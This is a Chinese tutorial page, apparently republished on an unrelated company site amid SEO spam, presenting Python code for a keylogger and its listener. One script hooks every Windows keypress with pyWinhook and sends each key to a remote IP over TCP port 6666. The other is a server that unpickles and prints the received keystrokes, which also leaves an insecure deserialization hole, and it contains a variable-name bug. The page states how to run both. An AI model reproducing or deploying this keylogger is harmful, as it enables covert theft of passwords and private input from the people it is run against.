濮阳杆衣贸易有限公司

主頁 > 知識庫 > python實現(xiàn)監(jiān)聽鍵盤

python實現(xiàn)監(jiān)聽鍵盤

熱門標簽:蘇州電銷機器人十大排行榜 溫州旅游地圖標注 外呼不封號系統(tǒng) 遼寧400電話辦理多少錢 電信營業(yè)廳400電話申請 幫人做地圖標注收費算詐騙嗎 江蘇房產(chǎn)電銷機器人廠家 悟空智電銷機器人6 荊州云電銷機器人供應商

python實現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實現(xiàn)服務端

import pickle
from io import BytesIO
import socket

#接收數(shù)據(jù)
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的數(shù)據(jù)
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

鍵盤監(jiān)聽程序

#鍵盤監(jiān)聽

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger() 

其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述

運行(先運行服務端,而后運行監(jiān)聽程序)

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

您可能感興趣的文章:
  • python使用pynput庫操作、監(jiān)控你的鼠標和鍵盤
  • 詳解Python中Pygame鍵盤事件
  • Python鍵盤輸入轉(zhuǎn)換為列表的實例
  • Python控制鼠標鍵盤代碼實例
  • python只需30行代碼就能記錄鍵盤的一舉一動

標簽:喀什 三沙 黃山 臺灣 景德鎮(zhèn) 欽州 宿遷 濟南

巨人網(wǎng)絡(luò)通訊聲明:本文標題《python實現(xiàn)監(jiān)聽鍵盤》,本文關(guān)鍵詞  python,實現(xiàn),監(jiān)聽,鍵盤,python,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《python實現(xiàn)監(jiān)聽鍵盤》相關(guān)的同類信息!
  • 本頁收集關(guān)于python實現(xiàn)監(jiān)聽鍵盤的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    海林市| 鞍山市| 黑龙江省| 磴口县| 潞城市| 晋州市| 冕宁县| 隆回县| 韩城市| 宁陵县| 高雄县| 错那县| 专栏| 乌拉特后旗| 吐鲁番市| 塔城市| 乌海市| 黑河市| 临沭县| 英山县| 合作市| 孟村| 安顺市| 碌曲县| 铜川市| 成安县| 兴仁县| 合江县| 曲麻莱县| 镇沅| 绵竹市| 伊春市| 河曲县| 武清区| 屯昌县| 北安市| 雅安市| 广灵县| 漠河县| 襄城县| 宁国市|